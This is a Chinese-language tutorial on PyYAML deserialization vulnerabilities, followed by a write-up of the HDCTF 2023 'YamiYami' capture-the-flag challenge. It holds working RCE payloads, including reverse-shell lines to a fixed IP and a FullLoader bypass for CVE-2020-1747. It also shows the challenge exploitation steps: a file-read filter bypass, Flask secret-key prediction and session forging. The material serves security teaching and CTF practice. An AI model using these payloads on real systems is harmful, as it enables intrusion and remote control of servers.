一.Pyaml反序列化攻击

0x01: yaml的基本语法结构

介绍:

YAML 全称 YAML Ain’t Markup Language(一种递归缩写),是一种人类可读的数据序列化格式。

YAML 常用于配置文件、数据交换以及各种需要以结构化方式存储数据的场景。

YAML 的语法和其他高级语言类似,可以简单表达清单、散列表、标量等数据形态。

它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲。

YAML 的配置文件后缀为 .yml,如:1.yml

以下是 YAML 最核心的语法规则,需要牢记:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用 Tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • # 表示注释
  • :号后面要加空格
1
2
3
4
5
6
7
Person:
name: anna
age: 15
Person2:
name: Peter
age: 16
……………………

2.文档分隔符

在yaml中使用—作为文档之间的分割符,标记着一篇文档的结束,另一篇文档的开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Person:
name: anna
age: 15
Person2:
name: Peter
age: 16
---
Person3:
name: X3r
age: 21
Person4:
name: X1d
age: 17

3.基本数据类型

映射(Mapping / 字典)

键值对的集合,是yaml中最常见的数据类型

1
2
3
4
name : Zhangsan
sex : man
hobbie : Computer
....

也可以按下面两种防方式写

嵌套映射:

1
2
3
4
5
person:
name: 张三
address:
city: 北京
zipcode: "100000"

形成层级关系

流式映射写法

1
key: {child-key: value, child-key2: value2}

2.列表的写法

1
2
3
4
5
- Al1ex
- 0
- Tester
- sex
- woman

结果为:

1
['Al1ex', 0, 'Tester', 'sex', 'woman']

这里只对YAML做个简单的介绍

0x02: Pyaml的简单使用

Pyaml提供对Yaml文档进行序列化和反序列化操作,即Python和Yaml数据的互相转换:

1
2
3
4
5
6
7
8
9
10
11
import yaml

data = '''
- Al1ex
- 0
- Tester
- sex
- woman
'''

print(yaml.load(data, Loader=yaml.SafeLoader))

输出:

1
2
3
(py313) PS E:\Microsoft VS Code> & f:\venv\py313\Scripts\python.exe c:/Users/alast/Downloads/22.py
['Al1ex', 0, 'Tester', 'sex', 'woman']
(py313) PS E:\Microsoft VS Code>

嵌套格式:

1
2
3
4
5
6
7
8
9
10
11
import yaml

data = '''
person:
name: 张三
address:
city: 北京
zipcode: "100000"
'''

print(yaml.load(data, Loader=yaml.SafeLoader))

输出:

1
2
3
(py313) PS E:\Microsoft VS Code> & f:\venv\py313\Scripts\python.exe c:/Users/alast/Downloads/22.py
{'person': {'name': '张三', 'address': {'city': '北京', 'zipcode': '100000'}}}
(py313) PS E:\Microsoft VS Code>

yaml.dump:

将python对象转换成yaml文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import yaml  

class MyClass:
def __init__(self, attribute1, attribute2):
self.attribute1 = attribute1
self.attribute2 = attribute2

def __repr__(self):
return f"MyClass(attribute1={self.attribute1}, attribute2={self.attribute2})"

obj = MyClass('value1', 'value2')

yaml_str = yaml.dump(obj)
print(yaml_str)
1
!!python/object:__main__.MyClass {attribute1: value1, attribute2: value2}

将对象转换为Yaml文档

0x03:Pyaml 反序列化漏洞

思考:既然能将yaml格式的数据转换为Python代码,那么我们能不能通过这一点来构造一个特殊yaml文件,来执行服务器的命令,达到RCE呢?当然是可以的,下面我们来分版本讲解每个危险函数:

01:Pyaml库版本< 5.1

  • 当版本<5.1时,我们会用到以下函数对yaml数据进行反序列化:
1
2
3
4
load(data)
load(data, Loader=Loader)
load_all(data)
load_all(data, Loader=Loader)

1.load(data) 反序列化文档数据为Python代码:

1
2
3
4
5
6
7
8
9
10
11
import yaml

data = '''
person:
name: 张三
address:
city: 北京
zipcode: "100000"
'''

print(yaml.load(data))

在<5.1时,load_*()默认不需要添加第二个参数指定加载器,默认使用Loader加载器,也就是后面的UnsafeLoader加载器

另外load(data, Loader=Loader) 也可以指定第二个参数,指定加载器:

例如:

1
2
3
4
5
6
7
8
9
10
11
import yaml

data = '''
person:
name: 张三
address:
city: 北京
zipcode: "100000"
'''

print(yaml.load(data,Loader=yaml.BaseLoader))

(BaseLoader 用于基础的加载器,支持基础的yaml)

2.load_all() 前文有提到yaml 支持— 的形式分割文档 而load_all的功能则是反序列化多个文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import yaml

data = '''
person:
name: 张三
address:
city: 北京
zipcode: "100000"
---

person2:
name: 李四
age: 20
'''

print(list(yaml.load_all(data)))

输出:

1
2
PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py
[{'person': {'name': '张三', 'address': {'city': '北京', 'zipcode': '100000'}}}, {'person2': {'name': '李四', 'age': 20}}]

load_all(data, Loader=Loader) 则同理

02:!!Python\Object:解释器

!!python/object 标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象:

2.1python/object/apply

python/object/apply 表示在yaml标签中调用一个可调用对象或者构造函数 并将其结果表示为一个对象

1
2
3
import yaml  

yaml.load('!!python/object/apply:os.system [\'calc\']')

可以直接通过apply 调用os对象的system方法来构造RCE命令 执行calc弹计算器

利用这点来弹shell:

1
2
3
4
5
 
!!python/object/apply:os.system ['sh -i >& /dev/tcp/10.200.68.69/4444 0>&1']
!!python/object/apply:os.system ['sh -i 5<> /dev/tcp/10.200.68.69/4444 0<&5 1>&5 2>&5']
!!python/object/apply:os.system ['busybox nc 10.200.68.69 4444 -e sh']
....
2.2:!!python\name

返回对象本身,在payload中只引用不调用

1
2
3
4
import yaml  

print(yaml.load('!!python/name:eval'))

返回类型 :

1
2
PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py
<built-in function eval>
1
2
3
import yaml  

print(yaml.load('!!python/name:exec'))

exec 同样返回 <built-in function exec>

!!python/name:math.pi

引用math模块的pi常量,在yaml反序列化中,用于进行引用指定模块或者方法

另外,文件中存在某个自定义函数,也可以通过该标签进行调用:

a.py:

1
2
def a():
print('你好世界!')
1
2
3
4
import yaml  

print(yaml.load('!!python/name:a.a'))

返回:

1
2
PS F:\download\pyyaml_lab> & F:\venv\pyaml42b4\Scripts\python.exe f:/download/pyyaml_lab/blank.py
<function a at 0x00000271589FB3A0>
2.3 !!python/object/new

允许直接创建新的 Python 对象,通过yaml模板来创建新的对象:

语法如下

1
2
3
4
5
6
7
8
!!python/object/new:<class>
args:
- arg1
- arg2
state:
attribute1: value1
attribute2: value2

  • class 表示要new的类名
  • arg1,arg2表示传递给new 类名的参数
  • state 则表示设置属性

例子:

简写:

1
2
3
4
5
!!python/object/new:os.system ["calc"]
!!python/object/new:subprocess.check_output [["ls","-ail"]]

#new os对象调用system方法,执行的命令就是args
#subprocess同理

复杂利用:

1
2
3
4
5
6
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
  • 先创建一个名为str的对象

  • 接着设置成员属性的值为!!python/tuple

  • 成员属性的两个参数为

    • ‘print(getattr(open(“flag\x2etxt”), “read”)())’
    • !!python/object/new:Warning
  • 最后给Warning 的update属性换成exec 最终导致RCE

等价:

1
exec('print(getattr(open("flag.txt"), "read")())')

因为将warning类替换为exec 所以达到了命令执行的效果

变种:

1
2
3
4
5
6
7
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
'python code'

创建一个动态类,类的名字为exp ,再创建一个tuple 基类(type.new 检查第 2 个参数必须是 tuple) ,最后将extend指向exec

执行 listitems中的代码

补充:CVE-2020-1747

版本:5.1 5.2

针对于full_load的攻击:

FullLoader 把 python/* 标签全放开了,只靠”不自动 import + 目标必须是类”两道弱限制;因为 object/new 允许对任意类做 __new__,而 map/tuple 这类类配合 !!python/name:eval 就能执行代码

payload:

1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('calc')"]

一旦迭代tuple,就会触发map,从而导致eval执行 calc

tuple(map(eval(“payload”)))

题目:[HDCTF 2023]YamiYami

打开页面

有三个链接

  • read somethings
  • 上传文件
  • 显示当前的位置

1.尝试包含文件:

1
http://node4.anna.nssctf.cn:27935/read?url=file:///etc/passwd

发现能成功

尝试查看/pwd看看当前位置

1
http://node4.anna.nssctf.cn:27935/pwd

返回:

查看/upload路由:

YamiYami 猜测可能是上传yaml文件,但是我们先不测试

都有文件包含 第一件事肯定是查看源码或者flag:

直接读取/flag发现对关键字有过滤,下面查看

1
http://node4.anna.nssctf.cn:27935/read?url=file:////proc/self/environ

看看脚本的名字:

1
FLASK_APP=app.py

因此猜测脚本位置是/app/app.py 尝试读取:

1
re.findall('app.*', url, re.IGNORECASE)

也被过滤了:

但是:urllib.request.urlopen 可以直接接受urlencode的路径, 但是读本地文件时最前面的 / 要保留, 不能编码为 %2F

提交上去后服务器会进行一次解码,所以对于这点我们对该路径进行二次编码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

接下来就是喜闻乐见的代码审计环节

审计路由/upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")

不允许上传黑名单后缀的文件,也用secure_filename 函数过滤路文件名径穿越漏洞

隐藏路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

自定义了一个Load函数 首先要获取passport 的值 并修改成Welcome To HDCTF2023 才能调用file参数,并判断包含的文件是否存在,文件存在则使用yaml.full_load() 来对yaml文件进行反序列化操作 漏洞点在于可控的file被yaml,full_load反序列化

但是要想进入路由,我们就要先拿到flask的secret_key :

查看session相关代码 :

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

种子是uuid.getnode 看似安全,但是我们知道了mac地址就有办法推算出来:

直接包含文件:

1
http://node4.anna.nssctf.cn:27935/read?url=file:///sys/class/net/eth0/address

返回:

1
02:42:ac:10:00:0f

算出种子:

1
2
3
4
5
6
7
mac = input('input your mac:  ')
mac_int = int(mac.replace(':', ''), 16)

import random
random.seed(mac_int)
secret = str(random.random() * 233)
print(secret)

SECRET_KEY:199.20129326574246

flask伪造:

1
2
3
4
╭─ /home/kali/Desktop  took 9s with root@kali at 05:32:20 ─╮
╰─❯ flask-unsign -s -S 199.20129326574246 --no-literal-eval -c "{'passport':'Welcome To HDCTF2023'}" ─╯
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.aquzyA.yRoYqrpwPQjrAVAh20bdWi-EoKQ

这样就可以访问/boogipop路由了:

在此之前我们先通过上传页面上传一份恶意的yaml文档,后缀采用.txt即可,yaml.full_load只对yaml 内容进行解析

1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('ls -la / > /tmp/o1 2>&1')"]

上传这个模板查看 / 的文件

上传成功,接着带上伪造的token去访问/boogipop路由包含上传的.txt文件 触发yaml.full_load

触发成功,返回van you see

接下来通过/read的文件包含包含 /tmp/o1

cat /flag.sh

返回:NSSCTF{124b28b0-f947-4def-b534-b3b32f3aa156}

03:Pyaml库版本>=6.0

易受攻击的只有yaml.unsafe_load 和 yaml.load(input, Loader=yaml.UnsafeLoader)

payload没有变化

参考